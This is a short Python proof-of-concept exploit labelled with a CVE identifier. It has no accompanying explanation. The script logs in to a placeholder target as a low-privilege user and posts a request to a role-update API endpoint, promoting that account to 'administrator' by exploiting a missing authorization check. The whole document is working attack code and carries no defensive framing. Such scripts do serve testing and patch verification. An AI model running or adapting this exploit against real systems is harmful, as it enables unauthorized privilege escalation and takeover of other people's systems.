CVE-2026-41085

import requests # Target configuration target_host = "https://<target-ip>" vulnerable_endpoint = "/api/v1/system/update_role" # Low privilege user credentials creds = { "username": "limited_user", "password": "user_password" } # Create a session to maintain cookies session = requests.Session() # Step 1: Authenticate with low privilege account print("[*] Attempting login with low privilege user...") login_url = f"{target_host}/api/v1/login" login_resp = session.post(login_url, json=creds) if login_resp.status_code != 200: print("[-] Login failed.") exit(1) print("[+] Login successful.") # Step 2: Exploit privilege escalation via vulnerable interface # The system fails to check if the user is authorized to promote roles payload = { "user_id": "self", "new_role": "administrator" } print(f"[*] Sending exploit payload to {target_host}{vulnerable_endpoint}...") exploit_url = f"{target_host}{vulnerable_endpoint}" exploit_resp = session.post(exploit_url, json=payload) if exploit_resp.status_code == 200: print("[+] Exploit successful! Privileges escalated.") print("Response:", exploit_resp.text) else: print("[-] Exploit failed.")

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